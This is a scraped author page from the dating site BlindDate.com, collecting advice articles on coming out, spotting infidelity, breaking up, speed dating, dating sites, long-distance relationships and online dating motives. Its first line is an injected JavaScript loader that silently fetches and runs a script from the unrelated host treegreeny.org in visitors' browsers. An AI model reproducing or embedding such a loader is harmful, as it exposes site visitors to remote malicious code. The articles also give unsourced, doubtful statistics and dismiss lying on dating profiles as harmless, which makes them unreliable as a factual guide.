;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Mikael Löfberg, Author at BlindDate.com

Author: Mikael Löfberg

    How I came out as gay

    It is always difficult to come out and declare our orientation to the world, especially when you discover that you are a lesbian or gay. And once we know it, it is better to be outright with others as well as others around us.

    Coming out can be a pleasant experience also, especially when you have the right relationship. However, an assessment of current circumstances with a clear mind is always helpful before taking the decision to tell people about yourself. Here are a few things that can ease the process of coming out to people with confidence and trust.

    • It is never negative
      Coming out usually involves facing stereotypes, social stigma and commonly accepted beliefs among people. And this often creates the fear of expressing ourselves in front of others. Focusing on our own selves and what makes us happy will eventually the ultimate difference in leading a fulfilling life. In other words, do not make a rash decision under pressure.
    • Do not adopt any labels
      Labeling yourself should be avoided even if people around ‘see’ you that way. It is enough to understand yourself that you are gay. Listen to what you feel and be free to identify yourself with them. Labeling oneself often allows other people to identify yourself with that and eventually changes their outlook towards you.
    • Faith and Sexuality are different
      Today most religions and faith has groups for homosexuals. Connecting with like-minded people often brings in new perspectives and allows the feeling of acceptance to seep in quickly.
    • Tell your trusted folks first
      Take baby steps towards opening out to people. Start with a most trusted person you know – a friend, parent, guardian, sibling, etc. Open up to them and talk about the things you feel right. Take it slowly when you feel the time is right and say those to the people who trust you.  It will make you feel better as well as give more clarity in making future decisions.
    • Stereotypes
      Stereotypes are everywhere, even with the people who are straight, successful and mature. Stereotypes are people who associate with ideas that they themselves do not understand or experience. People have various notions about gay people just like an employee has about his boss with respect to his position.  Once the same employee becomes a boss, only then he would understand what entails to be a person in a superior position and the ordeals he has to undergo. From far, the employee may have notions of easy life and higher power, but will fail to understand that a person of higher rank often handles more responsibilities compared to him. The same is true while being gay; you are the best judge of your own character. Chuck every other thing out of your perspective and look for valuable guidance.
    • Read
      Reading always helps.  Learn about people and their experience they had when they came out of the closet. They will often speak about their mistakes; observe and learn from them.
    • Be positive
      Think about the greatest thing you can derive from coming out. It can be peace, happiness, acceptance, or all of these things. If you feel things are bottled up inside you then it results unnecessary worry and fear. Thinking about the positives will enable you to be independent and confident.
    • It is an uphill climb
      Not everyone will have a positive experience coming out and that is completely normal. Your feelings have value and do not undermine anybody else’s interest because you are attracted to the same gender. There is support available everywhere for gay people and one must associate with these people to ensure a positive and loving environment.
    • People need Time
      Give people time to understand you. Be patient with them. Help them to understand what you feel is real and show them that you are happy being you. Your confident way of life will always dispel their notions, eventually. Understand that you can only play your part to reflect who you are. Leave other out of it.

    Hope the above things help you in coming out to your people. Remember – this is  the right thing to do; the sooner the better.

    How can you know your Partner is cheating?

    Infidelity is one of the most challenging problems in a relationship, and yet it is one of the most widespread concerns too.

    Research suggests that although in almost cultures, infidelity is viewed as something immoral and unethical, at least 25 percent of men and 15 percent of women will cheat on their partners. But, in most cases when you confront your partner with such accusations, you are either given a silent treatment or made to feel like you are the “crazy one”.

    So, unless you have evidence to follow your accusations, you won’t go anywhere with them; and while it may be hard to find evidence (because in most cases, your partner will be too careful not to keep them out in the open), there will always be some tell-tale signs which may be indicative of an affair.

    1. Being suddenly protective about Phone or Social Media

    If your partner is suddenly being more protective of their phone, social media accounts or emails, you may safely assume that there is something to hide. Some other indications may be keeping their phones face down, or taking their phones to the bathroom etc. However, you need to remember that all these developments are more recent and not something they have been doing forever. Social Media is an easy place to indulge in easy casual relationships, simply because its sheer convenience – says studies.

    1. Decline in Communication

    Has your partner stopped sharing those moments with little details about how their day went, or have you stopped spending quality time together recently? There may be more to it than you think. Reluctance to discuss your future together, or the future of your family, in case you are in a marriage could also be signs you want to look out for.

    1. Change in Personality

    A change in personality is often a big sign of infidelity. There could be changes like being more secretive, more argumentative and less affectionate. Although in most cases, all these may result from being guilty, it could also be the influence of the ‘other’ person in the relationship, whom they’re cheating with, who is essentially rubbing off on them. If your partner doesn’t want to accompany you in parties, or don’t want to be seen with you in public, that is also a sign for some.

    1. Disinterest in Special Occasions

    Special occasions like birthdays and anniversaries are events that couples in relationships look forward to. In case of married relationships, these events go further to include birthdays of children, anniversaries of parents, and other family events. If your partner is avoiding these special occasions, and has no concrete explanation for the same, there’s something brewing.

    1. Deflecting Tendency when confronted

    Does your partner snap back at you, saying you are ‘paranoid’, or accuse you of cheating when you bring up your concerns? This shows their guilt, as a result of which they want to move the attention from them, to you as fast as possible.

    1. Small frequent fights

    When two people are in a relationship, fights are common; especially, fights about money. But when these fights become frequent and sometimes, may seem lame and unavoidable – that’s a cue. These fights then are seen to stem out of guilty feelings.

    1. Change in Sleeping Habits

    A cheating partner is likely to show some marked changes in their sleeping habits, according to studies. So, if you are noticing your partner being restless while trying to sleep or getting out of bed at unusual times, it may be a sign. People change their sleeping patterns when they have an affair because of various reasons. One of the primary reasons is guilt.  More than 50 percent of cheaters revealed that they had problems sleeping after they had started having an affair.

    1. Unjustified expenses

    Unjustified expenses in Credit card statements speaks a lot. Hotel bills or increased telephone bills could also mean that all is not well. One of the common and first signs of infidelity in a marriage is lying about money. When a partner starts to have an affair, he/she will try to impress the new person with gifts. And for that they will need money.

    Final Words

    Every person is different, and every relationship therefore also is. Sometimes, people may behave differently by showing some or all of the above signs, for a completely different reason. It could be work stress or something else bothering them; and probably they wouldn’t want to involve you because they don’t want you to worry. So, as a partner, it is up to you to gauge the situation and do your homework before reaching to conclusions.

    How to break-up with your partner

    There’s no denying the fact that breaking up with a partner is disheartening. But, it doesn’t necessarily mean that you have failed. A better way to look at it is that, when any relationship has more negative-s than positive-s, both the people deserve better than that. There’s no one way to breakup with someone you have been in love with.

    However, these tips which will make it relatively easier.

    1. Be Honest

    According to psychologists, openness and a positive tone can go a long way in reducing the bitterness from a break-up. Honesty is by far one of the most compassionate ways to put one’s thoughts across, and is very effective when breaking up. Telling your partner that you didn’t regret your time together and clearly conveying to them, the reasons for wanting to break up are always the more empathetic ways to put your message across. Try and convince your partner that the break-up is for the better for both of you.

    1. Practice and rehearse

    Try and be prepared before the D-day. Experts suggest that you think through the decision to break-up and be convinced yourself that this is what you want. Try to imagine how your partner will react to the decision. Will he/she be sad or surprised? Will they get mad at you or will be too hurt to react. Remember, that you are the best person to judge their reactions, because you have been in a relationship with them and should know them. Trying to judge a reaction will help you prepare. And prepare you must. Say it out to yourself first. How would you want a news like that to be broken to you? Put yourself in your partner’s shoes and decide.

    1. Leave on a Good Note

    Every single thing we say or do in our lives every day, adds up to the human being we are at the end of the day. Similarly, when you break up with your partner, let that also be something which you can reflect upon later in life with a smile, and not with regret. And that will only be possible when you try to part on a good note. Try to see the good your relationship did to you, and show that to your partner also. Studies show that blame-games by dragging or being dragged into conflict and negativity only leaves a bad taste.

    1. Don’t just ‘disappear’.

    We all try to avoid confrontation till the time we can. And breaking up with your partner is one situation we always try to avoid. Couples end up being in love-less relationships just for the fear of breaking up. Some others just go AWOL (Absence Without Leave). While the former is not desirable, the latter is deadlier. Dating one day, and vanishing the next with the idea that your partner will ‘get the idea’ is a terrible thing to do. An interesting study reveals that men are more likely to ghost women, because of the simple reason that they find it difficult to face emotions. Their first instincts is to avoid emotion altogether. While it may seem easier, it increases anxiety, doesn’t give closure to either of the two people. No matter how brief a conversation has to be, talk and get done with it. Don’t disappear on one another.

    1. Don’t Manipulate

    A lot of times men and women have been seen to instigate the other to break up. This is not only unfair, but also shows your own insecurity and immaturity to deal with a situation. There’s no winning a break-up. Remember that both of you are losing something you once cared about. The least you could do is do that with self-respect and with respect for one another. Don’t manipulate the situation. Don’t try to share the news with other people knowing that he/she will eventually come to know of it and that will save you the confrontation.

    Final thoughts

    People grow apart for several reasons. It may be because your interests, ideologies and feelings aren’t as well matched as earlier. Or maybe you have changed your mind or feelings about the other person. Or you don’t enjoy being together anymore. Whatever the reason, there’s always a better way of breaking up without breaking apart.

    Speed Dating in USA

    Kate and Charlie met 5 years ago. Kate had come to New York, then, in search of work from Alabama while Charlie was born in New York. Both of them met at a dating site and as the stars would have it, they were married after 3 years of being together.

    The Concept of Speed Dating
    Online dating has improved since then, and has become a common thing today with apps and customized services. However, the concept of speed dating in the US is still to be explored. Unlike Charlie and Kate, people meet face to face at an ‘organized gathering’ by a common host/organization in speed dating. The potential candidates meet each other, sitting opposite a table to exchange pleasantries within a limited time frame of maximum 10 min and then move on to the next candidate. This often helps to meet a number of people within a short period and helps them decide who are the suitable ones. If the candidates like each other, they report to the host, who till then hold the information of the candidates exclusively to themselves. The host exchanges the information with the consent of the candidates and the ‘couple’ take it forward from there.

    This idea was introduced by Rabbi Yaacov Deyo and his wife, Sue in 1998, in the US to help Jewish singles find potential partners for marriage. This tradition of creating a shidduch, or a match, continues; however, other dating sites took the idea and reshaped it to include people of all religions, interests and sexual orientations.

    Speed dating as of today
    In the fast-paced environment of today, speed dating is a relief to many singles. They can schedule a meet online via video calling or chats, exchange number and get to know before formally meeting each other. The ‘waiting-time’ has drastically dropped with quicker decisions and with more and more millennials warming up to the idea.

    Due to high acceptance of this idea, speed dating has quickly spread through the US and penetrated to almost every city. Moreover, the satisfaction quotient of the prospective clients has increased – thanks to the ‘mini-dates’ they get to choose from.

    Speed dating as a TOOL
    In 2000, speed dating grew by leaps and bounds, setting new benchmarks and challenges in the dating world. Today it is a common tool – an app on your phone with added features of instant chat, pic sharing, personal details and video chat.

    The satisfaction rate for such a TOOL is tremendous; but some argue otherwise. In today’s world where every bit of information is digitally available, dating has also made its mark digitally, in the world quite significantly. Due to such an appreciation from the masses, this arena has been a subject of review and studies over time to improve the use of such a tool effectively.

    Why does an American choose Speed Dating?
    Dating apps do make an impact in the usual lives of the common American. People of all religion, sexual orientation and beliefs can opt for this service. For the generation pursuing the American dream, usually spending 40 to 60 hours working a week, having such a facility at their fingertips is one less thing to worry about. Collated information with the help of technology does help to ease the hunt for a viable partner from wherever they want.

    To conclude, speed dating is a proven concept for its practicality and widely appreciated by many people of all sects.

    10 Best free dating sites Online

    If you are on a lookout for a partner, friend or companion, then online dating is one of the most useful and practical tools available today that can help you find freedom from being single.

    However, many online dating sites make promises and take us for a ride with colorful pictures of couples smiling at each other. Though many of these so-called sites create a great impression on our minds, they often do not deliver what they advertise.

    Therefore, the first step towards online dating is to find reliable online sites that are worth your time and money. Today we have picked out 10 reliable websites that can help you find love and friendship online.


    Almost 2% of the marriages in the US are accredited to eHarmony since 2000. It is a free dating site and searches are automated with recommendations that match your profile with suitable ones.

    Elite Singles

    With over 165,000 monthly members, elitesingles.com follows an intelligent match-making approach to fine tune their match-making algorithm, and brings up the most relevant companion for you based on your preferences. The website works with more than 25 countries worldwide to help singles find the right match for themselves.  They suggest 3-7 matches a day for you to choose from based on preferences like education, location, personality etc. Read More

    Christian Mingle

    Founded in 1997, Christian Mingle has helped millions of people to meet and bond with someone like them and are in successful marriages since then. According to a study conducted among American Christians, 29% of all Christian marriages that have transpired online were initiated with Christian Mingle. Read More

    Match is known as the king of dating sites. Launched in 1995, Match is the longest-running dating site and has more than 40 million plus signups. Every month, many new visitors almost amount to the same as the number of signups they officially have on their webpage. They have a completely free membership and that has motivated many people to visit their page and find love, friendship and companionship online.

    If you are single and looking for your life partner, then OurTime is a great place to begin with. This site maintains a good collection of candidates who wants to marry.  Therefore, the webpage sorts out people looking for a marriage and not casual relationships. They make sure you find the right person of similar mentalities, beliefs and values for a long lasting relationship.

    Hinge comes with a motto – “thoughtful dating for thoughtful people”. Known as the anti-Tinder online, this app is one of the best to help people find a good relationship. Singing up is free and you can like the profiles that interest you the most. Receive likes and comments in return on your own  profile pictures and get a conversation started.

    Coffee Meets Bagel
    Coffee Meets Bagel is also one of the top female-friendly dating apps out there and has a unique approach to meeting people. Matches are called ‘bagels’ here and you use ‘coffee beans’ to like profiles. You can purchase coffee beans or get free beans for interacting on the app.

    Bumble was founded in 2014 and allows only women to start the conversation avoiding spam, incompatible matches, and inappropriate pictures people share. Once you have a match, you have 24-hour window to send a message, otherwise, the match disappears from your profile.

    OkCupid asks questions about yourself and, about the interests you would want in a partner. Next, you rank those answers highlighting the important preference you like in your partner and the site finds a match based on the algorithm to match your likes. OkCupid is free with an option to subscribe to a few premium features that charges the customer.

    Once’s homepage sends you one quality match a day at noon and that profile remains in touch with you for the following 24 hours. The app is available free via desktop, iTunes, and Google Play and registration takes only a few minutes.

    The League
    One of the most exclusive dating apps in the industry, The League is not available for everyone — there is often a wait list and a long one at that. Memberships are terminated when users are inactive for two weeks, do not respond to messages, and/or are offensive in conversation.

    The goal of Happn is to show that you could find love anywhere. The dating app uses your location to recommend like-minded singles that go to the same places as you. Click or tap the Heart icon to show an interest or click on the Cross button to do otherwise. To chat, two people shows interest via the Heart icon and you can easily take the conversation ahead from there.

    Happy hunting!

    Long distance relationships

    In relationships of any kind, communication plays a pivotal role. We all agree there. Taking time out to talk to each other, in spite of tight schedules is always the key. Then is the role of consistency. This is exactly how the long-distance relationships work. Commitment in relationships, particularly the long-distance ones comes from non-other than communication and consistency.

    Absence makes the Heart Grow Stronger
    This is how the society perceives and suggests. However, many a times, this is far from reality. You are eager to meet your long-distance partner only to realize and feel the agony. The short trip that you took just did not live up to your expectations and dreams. Be prepared. It is the time to believe in yourself and the relationship. Patience, realism, and maturity are the key here.

    One trip that didn’t meet your expectation or a phone call not attended by your partner, can never be a sufficient reason to add bitterness to the relationship.

    Miscommunication is the Worst
    Do you agree? Inadequate communication can take your long distance relationship to its lowest phase. Being not readily available for a face-to-face conversation, aggravate miscommunication. Before going for a long-distance relationship, how about discussing your expectations with your partner.

    Yes, go on and decide the rules. Difficult but this is necessary. It is the first step to do not let misunderstanding crop up in the future.

    Be Persistent in Every Facet
    Commit yourself to stay in touch. It should be fun, something you look forward to. Do not make it sound like chore. Consistency, especially in communication, is important in long distance relationships.

    Talk on a regular basis about daily schedule, work-related matters, of experiences and about everything. Use chats or messaging services as well. A small and lovely message during working hours is not going to disturb your partner, and instead will refresh him /her.

    All you need to do is to let the person know that you love them, no matter what.

    As Always-Honesty is the Best Policy
    Your long-distance relationship demands you to be honest and kind to your partner. Trust each other and that is one thing that is not to be broken in any relationship. Keep a tab on your mood and behavior.

    Your relationship is not going to be a happy and healthy one if honesty and faith go missing.

    Be compassionate and yes, your every gesture count. In long distance relationships, your partner relies a lot on the interpretation of your behavior.

    If you have a conflict originating in your mind regarding the relationship, share it with honesty and in a straightforward manner.

    Pushing things under the carpet will eventually turn devastating.

    Bridging the Gap
    Let us not be judgmental, but long-distance relationships are so much about bridging the gap. One question that you need to ask yourself- Can your relationship withstand the distance.

    Long distance relationships mean living separate lives, actually. Out in the world, meeting new people, making new friends and all that, without your partner. You try to catch up for a few minutes every day and sometimes miss that too. It is going to be difficult, but with enablers like technology like video calls and instant messenger, coming to think of it, you really need to spread a hand – and the world is closer.

    How many people date online and why do they prefer that?

    A few years ago, online dating was considered as taboo of sorts. People who used to meet or find partners through online dating sites were looked down upon. The whole concept of online dating was banished by many cultures. But these days, with the growth and rise of social media networking sites, online dating has become more acceptable. If we don’t talk about the regular dating sites, then one can debate on the concept of adding an unknown person on Facebook as an act of finding a potential dating partner online or someone with whom one can flirt and spend some quality time.

    If we look at the online dating statistics, 40 % of Americans use online dating websites in comparison to other people around the world, there are many people who prefer to date online due to various reasons like your identity remains disclosed, no one is going to judge you, just to mention a few.

    There are many people nowadays, who have found the love of their life through these dating sites and are happily married. But there is an equal number of people who don’t understand the whole concept of online dating and can’t join an online dating site for the sole purpose to find a life partner. They have their own reasons. They think that they don’t need help from a computerized system to find them a partner. Thus, implying that people who face trouble in finding that special someone usually go for joining a dating site. Statistics claim that around 52.4 % of Men use dating websites in comparison with 47.6% of women. Although, these online dating figures keep changing based on the location and the site being used.

    On the other hand, the group of people who don’t prefer to join an online dating site, are looking for a fairy-tale kind of meeting and a relationship with their significant other. You can argue that this is possible in an online set up as well, after the initial few meetings you can fall in love with your dating partner.

    Nevertheless, keeping this debate aside let’s discuss the ultimate reasons and real intentions of people who prefer to date online and why? Are they seriously looking for marriage or just for time pass and to add some thrill and excitement in life?

    In my opinion, if someone uses dating sites correctly they can be a medium for making new friends and meeting new people. However, let’s check out some reasons why people join online dating sites.

    They Have No Time to Meet People

    This is one of the common reasons people give when asked, why did you join an online dating site. In today’s fast pacing lives it’s very difficult for some people to take out time for themselves. Some people are busy and remain caught up in their work or other responsibilities that they don’t find much time for themselves, how could you expect them to go out and meet new people or possible date someone.

    A classic example would be that of a young lawyer or a surgeon who are so busy helping other people that they rarely get free time for themselves, how can you expect them to take out time to explore their personal need of a partner.

    People Suffering From “Low Self-Esteem”

    There are people who are low on confidence levels and think that they are not capable of finding a suitable partner for themselves. Maybe they tried to do so before but after struggling they couldn’t find someone who would understand them, they switch to online dating sites where an agent can help them find a partner who has same likes and dislikes as theirs.

    These are the individuals who have been rejected and even bullied during school, college and work life as well. There is an interesting report according to which 22% of online daters ask their close friends to help them to create their profiles so that they can attract people of the opposite sex.

    They’re Fed Up with Meeting People in Person

    Like people who don’t get time to meet people in person, there are people who manage to go out and meet new people often and still are unable to find that one person who can be their partner. they surely make potential contacts and friends but can’t find with same interest or mindset. This becomes difficult for people who have been very popular during their school or college times where everyone was crazy about them. They are the ones who have known and been in many on and off relations, that they don’t in anyone genuine enough to be a lifetime relationship. According to online dating statistics, 20% of people in current and committed relationships began online and 7% of them converted into marriages in 2015.


    They’re Looking for “Casual Sex”

    Apart from emotional reasons, there are people who join online dating sites for quenching their physical needs as well. This might sound inappropriate to some, but it is one of the major reasons why people join various online dating sites. People who are single or are unhappy with their sex life after marriage look for sex partners who believe in one-night stands or no commitment policy. If someone is doing so without harming the society then what’s the big deal. After all, we are living in the 21st century. Online dating website statistics claim that only 33% of women who use online dating websites have sex on the first date and around 60% of females who use Tinder are actually looking for a genuine match than just a one-night stand.

    They Can Enjoy Being Single

    There are people who join online dating sites just for the sake to feel young. Many married men and women join dating sites despite being happily married just to explore themselves and feel young about themselves. Because on a dating site you can fake your age and demographics which makes it easy to flirt around with people of opposite sex who are younger to you or whom you find attractive. According to statistics, 53% of people tend to give wrong information on their online dating profile. Again, there is no harm in doing this until and unless that person is loyal to their partner. after all, everyone wants a little fun and spice factor in his or her life.

    They Want to Find A Like-Minded Person

    There are people who join online dating sites with the expectation of meeting people of the opposite sex who enjoy the same music, food or have the same interest as theirs. On a dating site when you make your profile you are asked about your likes and interests and you have the option to streamline your search according to your likes and interests so that you can find the most compatible person for yourself. Reports suggest that around 64% of people who use online dating sites are actually looking for someone who has something in common with them, while 49% of people are looking for someone with physical characteristics that attracted them.


    According to me, these are a few reasons which I thought are valid reasons for people to join online dating sites. People are getting on to the trend, very fast.

    There is an interesting fact about online dating, that is 48% of online relationships that start on online dating websites end abruptly, through e-mails.